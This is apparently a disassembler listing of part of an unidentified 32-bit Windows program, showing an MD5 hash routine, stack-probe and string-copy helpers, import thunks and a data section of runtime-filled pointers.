; =============== S U B	R O U T	I N E =======================================



sub_44422D	proc near		; CODE XREF: sub_44425D+627p
					; sub_44425D+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_44422D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444236	proc near		; CODE XREF: sub_43C281+6Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_444236	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44425D	proc near		; CODE XREF: sub_43C281+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_44CA0C, eax
		mov	eax, [edi+4]
		mov	dword_44CA10, eax
		mov	eax, [edi+8]
		mov	dword_44CA14, eax
		mov	eax, [edi+0Ch]
		mov	dword_44CA18, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44420C
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44420C
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44420C
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44420C
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44420C
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44420C
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44420C
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44420C
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44420C
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44420C
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44420C
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44420C
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44420C
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44420C
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44420C
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444219
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444219
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444219
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444219
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444219
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444219
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444219
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444219
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444219
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444219
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444219
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444219
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444219
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444219
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444219
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444219
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444226
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444226
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444226
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444226
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444226
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444226
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444226
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444226
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444226
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444226
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444226
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444226
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_444226
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_444226
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_444226
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_444226
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44422D
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44422D
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44422D
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44422D
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44422D
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44422D
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44422D
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44422D
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44422D
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44422D
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44422D
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44422D
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44422D
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44422D
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44422D
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44422D
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_44CA0C
		add	[edi], eax
		mov	eax, dword_44CA10
		add	[edi+4], eax
		mov	eax, dword_44CA14
		add	[edi+8], eax
		mov	eax, dword_44CA18
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_44425D	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AA8	proc near		; CODE XREF: sub_444AC5+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_444AA9:				; CODE XREF: sub_444AA8+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_444AA9
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_444AA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AC5	proc near		; CODE XREF: sub_43D8A3+38p

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_444AF5
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_444AA8
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_444AF5:				; CODE XREF: sub_444AC5+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_444AC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_444B04	proc near		; CODE XREF: .text:0043A1BAp
					; DATA XREF: .data:off_44B000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_444B04	endp

; ---------------------------------------------------------------------------
		align 4
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_444B2F


loc_444B1E:				; CODE XREF: sub_444B2F+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_444B22:				; CODE XREF: .text:00444B2Dj
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_444B2F
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_444B22

; =============== S U B	R O U T	I N E =======================================



sub_444B2F	proc near		; CODE XREF: .text:loc_43A1A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444B1E SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_444B1E
sub_444B2F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444B40	proc near		; CODE XREF: sub_43B260+8p
					; sub_43B780+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_444B41:				; CODE XREF: sub_444B40+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_444B41
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_444B40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444B60	proc near		; CODE XREF: sub_43AA99+31p
					; sub_43AA99+44p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_444B60	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_44D0AC
; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444B98	proc near		; CODE XREF: sub_43A25C+10p
		jmp	ds:dword_44D0B0
sub_444B98	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BA4	proc near		; CODE XREF: sub_43A080+13p
		jmp	ds:dword_44D0B4
sub_444BA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BB0	proc near		; CODE XREF: sub_43A1C3+33p
					; sub_43A1C3+45p ...
		jmp	ds:dword_44D0C0
sub_444BB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BBC	proc near		; CODE XREF: sub_43A1C3+Bp
					; sub_43A1C3+17p ...
		jmp	ds:dword_44D0C4
sub_444BBC	endp

; ---------------------------------------------------------------------------
		align 8
		jmp	ds:dword_44D0C8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	ds:dword_44D0CC
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BE0	proc near		; CODE XREF: sub_43A25C+4Ep
					; sub_43A25C+87p
		jmp	ds:dword_44D0D0
sub_444BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BEC	proc near		; CODE XREF: .text:0043A186p
		jmp	ds:dword_44D0D4
sub_444BEC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444BF8	proc near		; CODE XREF: sub_43A1C3+71p
					; sub_43A1C3+86p
		jmp	ds:dword_44D0D8
sub_444BF8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_444C04	proc near		; CODE XREF: sub_43A25C+9Ep
		jmp	ds:dword_44D0DC
sub_444C04	endp

; ---------------------------------------------------------------------------
		align 10h
_text		ends

; Section 5. (virtual address 00045000)
; Virtual size			: 00005BD8 (  23512.)
; Section size in file		: 00005BD8 (  23512.)
; Offset to raw	data for section: 00045000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_bss		segment	para public 'BSS' use32
		assume cs:_bss
		;org 445000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_445000	dd 77E77EF1h		; DATA XREF: sub_43A9C0+Dr
					; sub_440457+130w
dword_445004	dd 77D46254h		; DATA XREF: sub_43D7F1+14r
					; sub_43D7F1+75r ...
dword_445008	dd 77E73628h		; DATA XREF: sub_43C38A+1391r
					; sub_440457+A4w ...
dword_44500C	dd 77E79924h		; DATA XREF: sub_43A9C0+34r
					; sub_440457+168w
dword_445010	dd 77E778C5h		; DATA XREF: sub_43D874+20r
					; sub_43DDA6+18r ...
dword_445014	dd 77D4702Fh		; DATA XREF: sub_43EA51+226w
					; sub_43EEA0+5Ar ...
dword_445018	dd 0			; DATA XREF: sub_43B52C+D0w
					; sub_443589+171r
dword_44501C	dd 76C693F0h		; DATA XREF: sub_442822+53w
					; sub_442A46+198r
dword_445020	dd 73D9E65Ch		; DATA XREF: sub_43A34D+170r
					; sub_43A34D+212r ...
dword_445024	dd 0			; DATA XREF: sub_43DAAC+1DFr
					; sub_43ED61+F9w
dword_445028	dd 77E78B82h		; DATA XREF: sub_43ACC9+7Dr
					; sub_43ADAC+F0r ...
dword_44502C	dd 77F82D5Ch		; DATA XREF: sub_43C281+53r
					; sub_440457+280w
dword_445030	dd 73D9ADFAh		; DATA XREF: sub_43DEF2+23Dr
					; sub_43DEF2+261r ...
dword_445034	dd 77E6AD34h		; DATA XREF: sub_440457+1BCw
dword_445038	dd 77121651h		; DATA XREF: sub_43AED7+9Ew
					; sub_43F0EA+17r ...
dword_44503C	dd 77DD23D7h		; DATA XREF: sub_44015B+66w
					; sub_440FBB+3Er
dword_445040	dd 77D47EC7h		; DATA XREF: sub_43EA51+1EEw
dword_445044	dd 77121680h		; DATA XREF: sub_43AED7+4Aw
					; sub_43B780+22r ...
dword_445048	dd 77D5264Ah		; DATA XREF: sub_43EA51+309w
					; sub_440914+26r
dword_44504C	dd 0			; DATA XREF: sub_43A34D+542r
					; sub_43B52C+7Cw
dword_445050	dd 77D441F2h		; DATA XREF: sub_43EA51+BAw
					; sub_442C0A+259r
dword_445054	dd 73D9BBAAh		; DATA XREF: sub_43B52C+21Cr
					; sub_43B780+2EAr ...
		align 10h
dword_445060	dd 0			; DATA XREF: sub_43B780+3CBr
					; sub_43B780+4DFw ...
		dd 3E7h	dup(0)
dword_446000	dd 77E78C17h		; DATA XREF: sub_43E8A2+EDr
					; sub_440457+344w
dword_446004	dd 77E75E67h		; DATA XREF: sub_43DAAC+298r
					; sub_440457+2D4w ...
dword_446008	dd 77E79908h		; DATA XREF: sub_43EFD7+18r
					; sub_440C06+376w ...
dword_44600C	dd 77E62D7Ah		; DATA XREF: sub_440457+34w
dword_446010	dd 77D5C2CCh		; DATA XREF: sub_43D7F1+31r
					; sub_43EA51+D6w
		align 10h
dword_446020	dd 40h dup(0)		; DATA XREF: sub_43B52C+8Co
					; sub_43C154+74o ...
dword_446120	dd 77C724ACh		; DATA XREF: sub_43AA12+69w
					; sub_442C0A+127r
		align 10h
dword_446130	dd 0			; DATA XREF: sub_43B780+3BBr
					; sub_43B780+3E3w ...
		dd 3E7h	dup(0)
dword_4470D0	dd 771C6F69h		; DATA XREF: sub_43FEB1+3Fr
					; sub_442386+82w
dword_4470D4	dd 77E6869Bh		; DATA XREF: sub_43E8A2+107r
					; sub_440457+360w
dword_4470D8	dd 771C16BAh		; DATA XREF: sub_442386+9Ew
dword_4470DC	dd 77D4DC11h		; DATA XREF: sub_43EA51+20Aw
					; sub_442C0A+154r
dword_4470E0	dd 77E684C6h		; DATA XREF: sub_440457+14Cw
					; sub_442E96+48Br
		align 10h
dword_4470F0	dd 41h dup(0)		; DATA XREF: sub_43AA99+25o
					; sub_43B260+1Fo ...
dword_4471F4	dd 73D9E660h		; DATA XREF: sub_43C38A+45Br
					; sub_43C38A+765r ...
dword_4471F8	dd 77E7A5FDh		; DATA XREF: sub_43AA12+44r
					; sub_43AA12+63r ...
		align 10h
byte_447200	db 0			; DATA XREF: sub_43B780+3D4r
					; sub_43B780+4EEw ...
		align 4
		dd 0F9h	dup(0)
dword_4475E8	dd 77E79F93h		; DATA XREF: sub_43AA12+Dr
					; sub_43AD5A+Dr ...
dword_4475EC	dd 77DD22EAh		; DATA XREF: sub_44015B+4Aw
					; sub_440FBB+1Dr
dword_4475F0	dd 77D4456Bh		; DATA XREF: sub_43EA51+F2w
dword_4475F4	dd 77E7513Ch		; DATA XREF: sub_43AFB5+120r
					; sub_440457+4B6w
dword_4475F8	dd 77D49951h		; DATA XREF: sub_43EA51+27Aw
					; sub_44108E+E29r ...
dword_4475FC	dd 77E704FCh		; DATA XREF: sub_43ADAC+17r
					; sub_43B182+18r ...
dword_447600	dd 76C69891h		; DATA XREF: sub_4425F7+54w
					; sub_442A46+16Fr
dword_447604	dd 0			; DATA XREF: sub_43C13D+3o
					; sub_43C13D+Er ...
dword_447608	dd 77E78EAAh		; DATA XREF: sub_440457+2F0w
					; sub_4438E7+40r ...
